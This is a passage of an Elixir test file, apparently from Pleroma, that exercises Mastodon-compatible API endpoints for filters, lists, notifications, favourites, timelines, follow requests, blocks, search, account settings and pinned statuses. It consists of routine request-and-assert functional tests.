	context: ["home"]
	}

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/filters", %{"phrase" => filter.phrase, context: filter.context})

	assert response = json_response(conn, 200)
	assert response["phrase"] == filter.phrase
	assert response["context"] == filter.context
	assert response["id"] != nil
	assert response["id"] != ""
	end

	test "fetching a list of filters", %{conn: conn} do
	user = insert(:user)

	query_one = %Pleroma.Filter{
	user_id: user.id,
	filter_id: 1,
	phrase: "knights",
	context: ["home"]
	}

	query_two = %Pleroma.Filter{
	user_id: user.id,
	filter_id: 2,
	phrase: "who",
	context: ["home"]
	}

	{:ok, filter_one} = Pleroma.Filter.create(query_one)
	{:ok, filter_two} = Pleroma.Filter.create(query_two)

	response =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/filters")
	\|> json_response(200)

	assert response ==
	render_json(
	FilterView,
	"filters.json",
	filters: [filter_two, filter_one]
	)
	end

	test "get a filter", %{conn: conn} do
	user = insert(:user)

	query = %Pleroma.Filter{
	user_id: user.id,
	filter_id: 2,
	phrase: "knight",
	context: ["home"]
	}

	{:ok, filter} = Pleroma.Filter.create(query)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/filters/#{filter.filter_id}")

	assert _response = json_response(conn, 200)
	end

	test "update a filter", %{conn: conn} do
	user = insert(:user)

	query = %Pleroma.Filter{
	user_id: user.id,
	filter_id: 2,
	phrase: "knight",
	context: ["home"]
	}

	{:ok, _filter} = Pleroma.Filter.create(query)

	new = %Pleroma.Filter{
	phrase: "nii",
	context: ["home"]
	}

	conn =
	conn
	\|> assign(:user, user)
	\|> put("/api/v1/filters/#{query.filter_id}", %{
	phrase: new.phrase,
	context: new.context
	})

	assert response = json_response(conn, 200)
	assert response["phrase"] == new.phrase
	assert response["context"] == new.context
	end

	test "delete a filter", %{conn: conn} do
	user = insert(:user)

	query = %Pleroma.Filter{
	user_id: user.id,
	filter_id: 2,
	phrase: "knight",
	context: ["home"]
	}

	{:ok, filter} = Pleroma.Filter.create(query)

	conn =
	conn
	\|> assign(:user, user)
	\|> delete("/api/v1/filters/#{filter.filter_id}")

	assert response = json_response(conn, 200)
	assert response == %{}
	end
	end

	describe "lists" do
	test "creating a list", %{conn: conn} do
	user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/lists", %{"title" => "cuties"})

	assert %{"title" => title} = json_response(conn, 200)
	assert title == "cuties"
	end

	test "adding users to a list", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)
	{:ok, list} = Pleroma.List.create("name", user)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]})

	assert %{} == json_response(conn, 200)
	%Pleroma.List{following: following} = Pleroma.List.get(list.id, user)
	assert following == [other_user.follower_address]
	end

	test "removing users from a list", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)
	third_user = insert(:user)
	{:ok, list} = Pleroma.List.create("name", user)
	{:ok, list} = Pleroma.List.follow(list, other_user)
	{:ok, list} = Pleroma.List.follow(list, third_user)

	conn =
	conn
	\|> assign(:user, user)
	\|> delete("/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]})

	assert %{} == json_response(conn, 200)
	%Pleroma.List{following: following} = Pleroma.List.get(list.id, user)
	assert following == [third_user.follower_address]
	end

	test "listing users in a list", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)
	{:ok, list} = Pleroma.List.create("name", user)
	{:ok, list} = Pleroma.List.follow(list, other_user)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]})

	assert [%{"id" => id}] = json_response(conn, 200)
	assert id == to_string(other_user.id)
	end

	test "retrieving a list", %{conn: conn} do
	user = insert(:user)
	{:ok, list} = Pleroma.List.create("name", user)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/lists/#{list.id}")

	assert %{"id" => id} = json_response(conn, 200)
	assert id == to_string(list.id)
	end

	test "renaming a list", %{conn: conn} do
	user = insert(:user)
	{:ok, list} = Pleroma.List.create("name", user)

	conn =
	conn
	\|> assign(:user, user)
	\|> put("/api/v1/lists/#{list.id}", %{"title" => "newname"})

	assert %{"title" => name} = json_response(conn, 200)
	assert name == "newname"
	end

	test "deleting a list", %{conn: conn} do
	user = insert(:user)
	{:ok, list} = Pleroma.List.create("name", user)

	conn =
	conn
	\|> assign(:user, user)
	\|> delete("/api/v1/lists/#{list.id}")

	assert %{} = json_response(conn, 200)
	assert is_nil(Repo.get(Pleroma.List, list.id))
	end

	test "list timeline", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)
	{:ok, _activity_one} = TwitterAPI.create_status(user, %{"status" => "Marisa is cute."})
	{:ok, activity_two} = TwitterAPI.create_status(other_user, %{"status" => "Marisa is cute."})
	{:ok, list} = Pleroma.List.create("name", user)
	{:ok, list} = Pleroma.List.follow(list, other_user)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/timelines/list/#{list.id}")

	assert [%{"id" => id}] = json_response(conn, 200)

	assert id == to_string(activity_two.id)
	end

	test "list timeline does not leak non-public statuses for unfollowed users", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)
	{:ok, activity_one} = TwitterAPI.create_status(other_user, %{"status" => "Marisa is cute."})

	{:ok, _activity_two} =
	TwitterAPI.create_status(other_user, %{
	"status" => "Marisa is cute.",
	"visibility" => "private"
	})

	{:ok, list} = Pleroma.List.create("name", user)
	{:ok, list} = Pleroma.List.follow(list, other_user)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/timelines/list/#{list.id}")

	assert [%{"id" => id}] = json_response(conn, 200)

	assert id == to_string(activity_one.id)
	end
	end

	describe "notifications" do
	test "list of notifications", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} =
	TwitterAPI.create_status(other_user, %{"status" => "hi @#{user.nickname}"})

	{:ok, [_notification]} = Notification.create_notifications(activity)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/notifications")

	expected_response =
	"hi <span class=\"h-card\"><a data-user=\"#{user.id}\" class=\"u-url mention\" href=\"#{
	user.ap_id
	}\">@<span>#{user.nickname}</span></a></span>"

	assert [%{"status" => %{"content" => response}} \| _rest] = json_response(conn, 200)
	assert response == expected_response
	end

	test "getting a single notification", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} =
	TwitterAPI.create_status(other_user, %{"status" => "hi @#{user.nickname}"})

	{:ok, [notification]} = Notification.create_notifications(activity)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/notifications/#{notification.id}")

	expected_response =
	"hi <span class=\"h-card\"><a data-user=\"#{user.id}\" class=\"u-url mention\" href=\"#{
	user.ap_id
	}\">@<span>#{user.nickname}</span></a></span>"

	assert %{"status" => %{"content" => response}} = json_response(conn, 200)
	assert response == expected_response
	end

	test "dismissing a single notification", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} =
	TwitterAPI.create_status(other_user, %{"status" => "hi @#{user.nickname}"})

	{:ok, [notification]} = Notification.create_notifications(activity)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/notifications/dismiss", %{"id" => notification.id})

	assert %{} = json_response(conn, 200)
	end

	test "clearing all notifications", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} =
	TwitterAPI.create_status(other_user, %{"status" => "hi @#{user.nickname}"})

	{:ok, [_notification]} = Notification.create_notifications(activity)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/notifications/clear")

	assert %{} = json_response(conn, 200)

	conn =
	build_conn()
	\|> assign(:user, user)
	\|> get("/api/v1/notifications")

	assert all = json_response(conn, 200)
	assert all == []
	end
	end

	describe "reblogging" do
	test "reblogs and returns the reblogged status", %{conn: conn} do
	activity = insert(:note_activity)
	user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses/#{activity.id}/reblog")

	assert %{"reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1}} =
	json_response(conn, 200)

	assert to_string(activity.id) == id
	end
	end

	describe "unreblogging" do
	test "unreblogs and returns the unreblogged status", %{conn: conn} do
	activity = insert(:note_activity)
	user = insert(:user)

	{:ok, _, _} = CommonAPI.repeat(activity.id, user)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses/#{activity.id}/unreblog")

	assert %{"id" => id, "reblogged" => false, "reblogs_count" => 0} = json_response(conn, 200)

	assert to_string(activity.id) == id
	end
	end

	describe "favoriting" do
	test "favs a status and returns it", %{conn: conn} do
	activity = insert(:note_activity)
	user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses/#{activity.id}/favourite")

	assert %{"id" => id, "favourites_count" => 1, "favourited" => true} =
	json_response(conn, 200)

	assert to_string(activity.id) == id
	end

	test "returns 500 for a wrong id", %{conn: conn} do
	user = insert(:user)

	resp =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses/1/favourite")
	\|> json_response(500)

	assert resp == "Something went wrong"
	end
	end

	describe "unfavoriting" do
	test "unfavorites a status and returns it", %{conn: conn} do
	activity = insert(:note_activity)
	user = insert(:user)

	{:ok, _, _} = CommonAPI.favorite(activity.id, user)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses/#{activity.id}/unfavourite")

	assert %{"id" => id, "favourites_count" => 0, "favourited" => false} =
	json_response(conn, 200)

	assert to_string(activity.id) == id
	end
	end

	describe "user timelines" do
	test "gets a users statuses", %{conn: conn} do
	user_one = insert(:user)
	user_two = insert(:user)
	user_three = insert(:user)

	{:ok, user_three} = User.follow(user_three, user_one)

	{:ok, activity} = CommonAPI.post(user_one, %{"status" => "HI!!!"})

	{:ok, direct_activity} =
	CommonAPI.post(user_one, %{
	"status" => "Hi, @#{user_two.nickname}.",
	"visibility" => "direct"
	})

	{:ok, private_activity} =
	CommonAPI.post(user_one, %{"status" => "private", "visibility" => "private"})

	resp =
	conn
	\|> get("/api/v1/accounts/#{user_one.id}/statuses")

	assert [%{"id" => id}] = json_response(resp, 200)
	assert id == to_string(activity.id)

	resp =
	conn
	\|> assign(:user, user_two)
	\|> get("/api/v1/accounts/#{user_one.id}/statuses")

	assert [%{"id" => id_one}, %{"id" => id_two}] = json_response(resp, 200)
	assert id_one == to_string(direct_activity.id)
	assert id_two == to_string(activity.id)

	resp =
	conn
	\|> assign(:user, user_three)
	\|> get("/api/v1/accounts/#{user_one.id}/statuses")

	assert [%{"id" => id_one}, %{"id" => id_two}] = json_response(resp, 200)
	assert id_one == to_string(private_activity.id)
	assert id_two == to_string(activity.id)
	end

	test "unimplemented pinned statuses feature", %{conn: conn} do
	note = insert(:note_activity)
	user = User.get_by_ap_id(note.data["actor"])

	conn =
	conn
	\|> get("/api/v1/accounts/#{user.id}/statuses?pinned=true")

	assert json_response(conn, 200) == []
	end

	test "gets an users media", %{conn: conn} do
	note = insert(:note_activity)
	user = User.get_by_ap_id(note.data["actor"])

	file = %Plug.Upload{
	content_type: "image/jpg",
	path: Path.absname("test/fixtures/image.jpg"),
	filename: "an_image.jpg"
	}

	media =
	TwitterAPI.upload(file, user, "json")
	\|> Poison.decode!()

	{:ok, image_post} =
	TwitterAPI.create_status(user, %{"status" => "cofe", "media_ids" => [media["media_id"]]})

	conn =
	conn
	\|> get("/api/v1/accounts/#{user.id}/statuses", %{"only_media" => "true"})

	assert [%{"id" => id}] = json_response(conn, 200)
	assert id == to_string(image_post.id)

	conn =
	build_conn()
	\|> get("/api/v1/accounts/#{user.id}/statuses", %{"only_media" => "1"})

	assert [%{"id" => id}] = json_response(conn, 200)
	assert id == to_string(image_post.id)
	end

	test "gets a user's statuses without reblogs", %{conn: conn} do
	user = insert(:user)
	{:ok, post} = CommonAPI.post(user, %{"status" => "HI!!!"})
	{:ok, _, _} = CommonAPI.repeat(post.id, user)

	conn =
	conn
	\|> get("/api/v1/accounts/#{user.id}/statuses", %{"exclude_reblogs" => "true"})

	assert [%{"id" => id}] = json_response(conn, 200)
	assert id == to_string(post.id)

	conn =
	conn
	\|> get("/api/v1/accounts/#{user.id}/statuses", %{"exclude_reblogs" => "1"})

	assert [%{"id" => id}] = json_response(conn, 200)
	assert id == to_string(post.id)
	end
	end

	describe "user relationships" do
	test "returns the relationships for the current user", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)
	{:ok, user} = User.follow(user, other_user)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/accounts/relationships", %{"id" => [other_user.id]})

	assert [relationship] = json_response(conn, 200)

	assert to_string(other_user.id) == relationship["id"]
	end
	end

	describe "locked accounts" do
	test "/api/v1/follow_requests works" do
	user = insert(:user, %{info: %Pleroma.User.Info{locked: true}})
	other_user = insert(:user)

	{:ok, _activity} = ActivityPub.follow(other_user, user)

	user = Repo.get(User, user.id)
	other_user = Repo.get(User, other_user.id)

	assert User.following?(other_user, user) == false

	conn =
	build_conn()
	\|> assign(:user, user)
	\|> get("/api/v1/follow_requests")

	assert [relationship] = json_response(conn, 200)
	assert to_string(other_user.id) == relationship["id"]
	end

	test "/api/v1/follow_requests/:id/authorize works" do
	user = insert(:user, %{info: %Pleroma.User.Info{locked: true}})
	other_user = insert(:user)

	{:ok, _activity} = ActivityPub.follow(other_user, user)

	user = Repo.get(User, user.id)
	other_user = Repo.get(User, other_user.id)

	assert User.following?(other_user, user) == false

	conn =
	build_conn()
	\|> assign(:user, user)
	\|> post("/api/v1/follow_requests/#{other_user.id}/authorize")

	assert relationship = json_response(conn, 200)
	assert to_string(other_user.id) == relationship["id"]

	user = Repo.get(User, user.id)
	other_user = Repo.get(User, other_user.id)

	assert User.following?(other_user, user) == true
	end

	test "verify_credentials", %{conn: conn} do
	user = insert(:user, %{info: %Pleroma.User.Info{default_scope: "private"}})

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/accounts/verify_credentials")

	assert %{"id" => id, "source" => %{"privacy" => "private"}} = json_response(conn, 200)
	assert id == to_string(user.id)
	end

	test "/api/v1/follow_requests/:id/reject works" do
	user = insert(:user, %{info: %Pleroma.User.Info{locked: true}})
	other_user = insert(:user)

	{:ok, _activity} = ActivityPub.follow(other_user, user)

	conn =
	build_conn()
	\|> assign(:user, user)
	\|> post("/api/v1/follow_requests/#{other_user.id}/reject")

	assert relationship = json_response(conn, 200)
	assert to_string(other_user.id) == relationship["id"]

	user = Repo.get(User, user.id)
	other_user = Repo.get(User, other_user.id)

	assert User.following?(other_user, user) == false
	end
	end

	test "account fetching", %{conn: conn} do
	user = insert(:user)

	conn =
	conn
	\|> get("/api/v1/accounts/#{user.id}")

	assert %{"id" => id} = json_response(conn, 200)
	assert id == to_string(user.id)

	conn =
	build_conn()
	\|> get("/api/v1/accounts/-1")

	assert %{"error" => "Can't find user"} = json_response(conn, 404)
	end

	test "media upload", %{conn: conn} do
	file = %Plug.Upload{
	content_type: "image/jpg",
	path: Path.absname("test/fixtures/image.jpg"),
	filename: "an_image.jpg"
	}

	desc = "Description of the image"

	user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/media", %{"file" => file, "description" => desc})

	assert media = json_response(conn, 200)

	assert media["type"] == "image"
	assert media["description"] == desc
	assert media["id"]

	object = Repo.get(Object, media["id"])
	assert object.data["actor"] == User.ap_id(user)
	end

	test "hashtag timeline", %{conn: conn} do
	following = insert(:user)

	capture_log(fn ->
	{:ok, activity} = TwitterAPI.create_status(following, %{"status" => "test #2hu"})

	{:ok, [_activity]} =
	OStatus.fetch_activity_from_url("https://shitposter.club/notice/2827873")

	nconn =
	conn
	\|> get("/api/v1/timelines/tag/2hu")

	assert [%{"id" => id}] = json_response(nconn, 200)

	assert id == to_string(activity.id)

	# works for different capitalization too
	nconn =
	conn
	\|> get("/api/v1/timelines/tag/2HU")

	assert [%{"id" => id}] = json_response(nconn, 200)

	assert id == to_string(activity.id)
	end)
	end

	test "multi-hashtag timeline", %{conn: conn} do
	user = insert(:user)

	{:ok, activity_test} = CommonAPI.post(user, %{"status" => "#test"})
	{:ok, activity_test1} = CommonAPI.post(user, %{"status" => "#test #test1"})
	{:ok, activity_none} = CommonAPI.post(user, %{"status" => "#test #none"})

	any_test =
	conn
	\|> get("/api/v1/timelines/tag/test", %{"any" => ["test1"]})

	[status_none, status_test1, status_test] = json_response(any_test, 200)

	assert to_string(activity_test.id) == status_test["id"]
	assert to_string(activity_test1.id) == status_test1["id"]
	assert to_string(activity_none.id) == status_none["id"]

	restricted_test =
	conn
	\|> get("/api/v1/timelines/tag/test", %{"all" => ["test1"], "none" => ["none"]})

	assert [status_test1] == json_response(restricted_test, 200)

	all_test = conn \|> get("/api/v1/timelines/tag/test", %{"all" => ["none"]})

	assert [status_none] == json_response(all_test, 200)
	end

	test "getting followers", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)
	{:ok, user} = User.follow(user, other_user)

	conn =
	conn
	\|> get("/api/v1/accounts/#{other_user.id}/followers")

	assert [%{"id" => id}] = json_response(conn, 200)
	assert id == to_string(user.id)
	end

	test "getting followers, hide_followers", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user, %{info: %{hide_followers: true}})
	{:ok, _user} = User.follow(user, other_user)

	conn =
	conn
	\|> get("/api/v1/accounts/#{other_user.id}/followers")

	assert [] == json_response(conn, 200)
	end

	test "getting followers, hide_followers, same user requesting", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user, %{info: %{hide_followers: true}})
	{:ok, _user} = User.follow(user, other_user)

	conn =
	conn
	\|> assign(:user, other_user)
	\|> get("/api/v1/accounts/#{other_user.id}/followers")

	refute [] == json_response(conn, 200)
	end

	test "getting following", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)
	{:ok, user} = User.follow(user, other_user)

	conn =
	conn
	\|> get("/api/v1/accounts/#{user.id}/following")

	assert [%{"id" => id}] = json_response(conn, 200)
	assert id == to_string(other_user.id)
	end

	test "getting following, hide_follows", %{conn: conn} do
	user = insert(:user, %{info: %{hide_follows: true}})
	other_user = insert(:user)
	{:ok, user} = User.follow(user, other_user)

	conn =
	conn
	\|> get("/api/v1/accounts/#{user.id}/following")

	assert [] == json_response(conn, 200)
	end

	test "getting following, hide_follows, same user requesting", %{conn: conn} do
	user = insert(:user, %{info: %{hide_follows: true}})
	other_user = insert(:user)
	{:ok, user} = User.follow(user, other_user)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/accounts/#{user.id}/following")

	refute [] == json_response(conn, 200)
	end

	test "following / unfollowing a user", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/accounts/#{other_user.id}/follow")

	assert %{"id" => _id, "following" => true} = json_response(conn, 200)

	user = Repo.get(User, user.id)

	conn =
	build_conn()
	\|> assign(:user, user)
	\|> post("/api/v1/accounts/#{other_user.id}/unfollow")

	assert %{"id" => _id, "following" => false} = json_response(conn, 200)

	user = Repo.get(User, user.id)

	conn =
	build_conn()
	\|> assign(:user, user)
	\|> post("/api/v1/follows", %{"uri" => other_user.nickname})

	assert %{"id" => id} = json_response(conn, 200)
	assert id == to_string(other_user.id)
	end

	test "blocking / unblocking a user", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/accounts/#{other_user.id}/block")

	assert %{"id" => _id, "blocking" => true} = json_response(conn, 200)

	user = Repo.get(User, user.id)

	conn =
	build_conn()
	\|> assign(:user, user)
	\|> post("/api/v1/accounts/#{other_user.id}/unblock")

	assert %{"id" => _id, "blocking" => false} = json_response(conn, 200)
	end

	test "getting a list of blocks", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, user} = User.block(user, other_user)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/blocks")

	other_user_id = to_string(other_user.id)
	assert [%{"id" => ^other_user_id}] = json_response(conn, 200)
	end

	test "blocking / unblocking a domain", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user, %{ap_id: "https://dogwhistle.zone/@pundit"})

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"})

	assert %{} = json_response(conn, 200)
	user = User.get_cached_by_ap_id(user.ap_id)
	assert User.blocks?(user, other_user)

	conn =
	build_conn()
	\|> assign(:user, user)
	\|> delete("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"})

	assert %{} = json_response(conn, 200)
	user = User.get_cached_by_ap_id(user.ap_id)
	refute User.blocks?(user, other_user)
	end

	test "getting a list of domain blocks", %{conn: conn} do
	user = insert(:user)

	{:ok, user} = User.block_domain(user, "bad.site")
	{:ok, user} = User.block_domain(user, "even.worse.site")

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/domain_blocks")

	domain_blocks = json_response(conn, 200)

	assert "bad.site" in domain_blocks
	assert "even.worse.site" in domain_blocks
	end

	test "unimplemented mute endpoints" do
	user = insert(:user)
	other_user = insert(:user)

	["mute", "unmute"]
	\|> Enum.each(fn endpoint ->
	conn =
	build_conn()
	\|> assign(:user, user)
	\|> post("/api/v1/accounts/#{other_user.id}/#{endpoint}")

	assert %{"id" => id} = json_response(conn, 200)
	assert id == to_string(other_user.id)
	end)
	end

	test "unimplemented mutes, follow_requests, blocks, domain blocks" do
	user = insert(:user)

	["blocks", "domain_blocks", "mutes", "follow_requests"]
	\|> Enum.each(fn endpoint ->
	conn =
	build_conn()
	\|> assign(:user, user)
	\|> get("/api/v1/#{endpoint}")

	assert [] = json_response(conn, 200)
	end)
	end

	test "account search", %{conn: conn} do
	user = insert(:user)
	user_two = insert(:user, %{nickname: "shp@shitposter.club"})
	user_three = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"})

	results =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/accounts/search", %{"q" => "shp"})
	\|> json_response(200)

	result_ids = for result <- results, do: result["acct"]

	assert user_two.nickname in result_ids
	assert user_three.nickname in result_ids

	results =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/accounts/search", %{"q" => "2hu"})
	\|> json_response(200)

	result_ids = for result <- results, do: result["acct"]

	assert user_three.nickname in result_ids
	end

	test "search", %{conn: conn} do
	user = insert(:user)
	user_two = insert(:user, %{nickname: "shp@shitposter.club"})
	user_three = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"})

	{:ok, activity} = CommonAPI.post(user, %{"status" => "This is about 2hu"})

	{:ok, _activity} =
	CommonAPI.post(user, %{
	"status" => "This is about 2hu, but private",
	"visibility" => "private"
	})

	{:ok, _} = CommonAPI.post(user_two, %{"status" => "This isn't"})

	conn =
	conn
	\|> get("/api/v1/search", %{"q" => "2hu"})

	assert results = json_response(conn, 200)

	[account \| _] = results["accounts"]
	assert account["id"] == to_string(user_three.id)

	assert results["hashtags"] == []

	[status] = results["statuses"]
	assert status["id"] == to_string(activity.id)
	end

	test "search fetches remote statuses", %{conn: conn} do
	capture_log(fn ->
	conn =
	conn
	\|> get("/api/v1/search", %{"q" => "https://shitposter.club/notice/2827873"})

	assert results = json_response(conn, 200)

	[status] = results["statuses"]
	assert status["uri"] == "tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment"
	end)
	end

	test "search doesn't show statuses that it shouldn't", %{conn: conn} do
	{:ok, activity} =
	CommonAPI.post(insert(:user), %{
	"status" => "This is about 2hu, but private",
	"visibility" => "private"
	})

	capture_log(fn ->
	conn =
	conn
	\|> get("/api/v1/search", %{"q" => activity.data["object"]["id"]})

	assert results = json_response(conn, 200)

	[] = results["statuses"]
	end)
	end

	test "search fetches remote accounts", %{conn: conn} do
	conn =
	conn
	\|> get("/api/v1/search", %{"q" => "shp@social.heldscal.la", "resolve" => "true"})

	assert results = json_response(conn, 200)
	[account] = results["accounts"]
	assert account["acct"] == "shp@social.heldscal.la"
	end

	test "returns the favorites of a user", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, _} = CommonAPI.post(other_user, %{"status" => "bla"})
	{:ok, activity} = CommonAPI.post(other_user, %{"status" => "traps are happy"})

	{:ok, _, _} = CommonAPI.favorite(activity.id, user)

	first_conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/favourites")

	assert [status] = json_response(first_conn, 200)
	assert status["id"] == to_string(activity.id)

	assert [{"link", _link_header}] =
	Enum.filter(first_conn.resp_headers, fn element -> match?({"link", _}, element) end)

	# Honours query params
	{:ok, second_activity} =
	CommonAPI.post(other_user, %{
	"status" =>
	"Trees Are Never Sad Look At Them Every Once In Awhile They're Quite Beautiful."
	})

	{:ok, _, _} = CommonAPI.favorite(second_activity.id, user)

	last_like = status["id"]

	second_conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/favourites?since_id=#{last_like}")

	assert [second_status] = json_response(second_conn, 200)
	assert second_status["id"] == to_string(second_activity.id)

	third_conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/favourites?limit=0")

	assert [] = json_response(third_conn, 200)
	end

	describe "updating credentials" do
	test "updates the user's bio", %{conn: conn} do
	user = insert(:user)
	user2 = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> patch("/api/v1/accounts/update_credentials", %{
	"note" => "I drink #cofe with @#{user2.nickname}"
	})

	assert user = json_response(conn, 200)

	assert user["note"] ==
	"I drink <a class=\"hashtag\" data-tag=\"cofe\" href=\"http://localhost:4001/tag/cofe\">#cofe</a> with <span class=\"h-card\"><a data-user=\"#{
	user2.id
	}\" class=\"u-url mention\" href=\"#{user2.ap_id}\">@<span>#{user2.nickname}</span></a></span>"
	end

	test "updates the user's locking status", %{conn: conn} do
	user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> patch("/api/v1/accounts/update_credentials", %{locked: "true"})

	assert user = json_response(conn, 200)
	assert user["locked"] == true
	end

	test "updates the user's name", %{conn: conn} do
	user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> patch("/api/v1/accounts/update_credentials", %{"display_name" => "markorepairs"})

	assert user = json_response(conn, 200)
	assert user["display_name"] == "markorepairs"
	end

	test "updates the user's avatar", %{conn: conn} do
	user = insert(:user)

	new_avatar = %Plug.Upload{
	content_type: "image/jpg",
	path: Path.absname("test/fixtures/image.jpg"),
	filename: "an_image.jpg"
	}

	conn =
	conn
	\|> assign(:user, user)
	\|> patch("/api/v1/accounts/update_credentials", %{"avatar" => new_avatar})

	assert user_response = json_response(conn, 200)
	assert user_response["avatar"] != User.avatar_url(user)
	end

	test "updates the user's banner", %{conn: conn} do
	user = insert(:user)

	new_header = %Plug.Upload{
	content_type: "image/jpg",
	path: Path.absname("test/fixtures/image.jpg"),
	filename: "an_image.jpg"
	}

	conn =
	conn
	\|> assign(:user, user)
	\|> patch("/api/v1/accounts/update_credentials", %{"header" => new_header})

	assert user_response = json_response(conn, 200)
	assert user_response["header"] != User.banner_url(user)
	end
	end

	test "get instance information", %{conn: conn} do
	user = insert(:user, %{local: true})

	user2 = insert(:user, %{local: true})
	{:ok, _user2} = User.deactivate(user2, !user2.info.deactivated)

	insert(:user, %{local: false, nickname: "u@peer1.com"})
	insert(:user, %{local: false, nickname: "u@peer2.com"})

	{:ok, _} = TwitterAPI.create_status(user, %{"status" => "cofe"})

	# Stats should count users with missing or nil `info.deactivated` value
	user = Repo.get(User, user.id)
	info_change = Changeset.change(user.info, %{deactivated: nil})

	{:ok, _user} =
	user
	\|> Changeset.change()
	\|> Changeset.put_embed(:info, info_change)
	\|> User.update_and_set_cache()

	Pleroma.Stats.update_stats()

	conn = get(conn, "/api/v1/instance")

	assert result = json_response(conn, 200)

	stats = result["stats"]

	assert stats
	assert stats["user_count"] == 1
	assert stats["status_count"] == 1
	assert stats["domain_count"] == 2
	end

	test "get peers", %{conn: conn} do
	insert(:user, %{local: false, nickname: "u@peer1.com"})
	insert(:user, %{local: false, nickname: "u@peer2.com"})

	Pleroma.Stats.update_stats()

	conn = get(conn, "/api/v1/instance/peers")

	assert result = json_response(conn, 200)

	assert ["peer1.com", "peer2.com"] == Enum.sort(result)
	end

	test "put settings", %{conn: conn} do
	user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> put("/api/web/settings", %{"data" => %{"programming" => "socks"}})

	assert _result = json_response(conn, 200)

	user = User.get_cached_by_ap_id(user.ap_id)
	assert user.info.settings == %{"programming" => "socks"}
	end

	describe "pinned statuses" do
	setup do
	Pleroma.Config.put([:instance, :max_pinned_statuses], 1)

	user = insert(:user)
	{:ok, activity} = CommonAPI.post(user, %{"status" => "HI!!!"})

	[user: user, activity: activity]
	end

	test "returns pinned statuses", %{conn: conn, user: user, activity: activity} do
	{:ok, _} = CommonAPI.pin(activity.id, user)

	result =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/accounts/#{user.id}/statuses?pinned=true")
	\|> json_response(200)

	id_str = to_string(activity.id)

	assert [%{"id" => ^id_str, "pinned" => true}] = result
	end

	test "pin status", %{conn: conn, user: user, activity: activity} do
	id_str = to_string(activity.id)

	assert %{"id" => ^id_str, "pinned" => true} =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses/#{activity.id}/pin")
	\|> json_response(200)

	assert [%{"id" => ^id_str, "pinned" => true}] =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/accounts/#{user.id}/statuses?pinned=true")
	\|> json_response(200)
	end

	test "unpin status", %{conn: conn, user: user, activity: activity} do
	{:ok, _} = CommonAPI.pin(activity.id, user)

	id_str = to_string(activity.id)
	user = refresh_record(user)

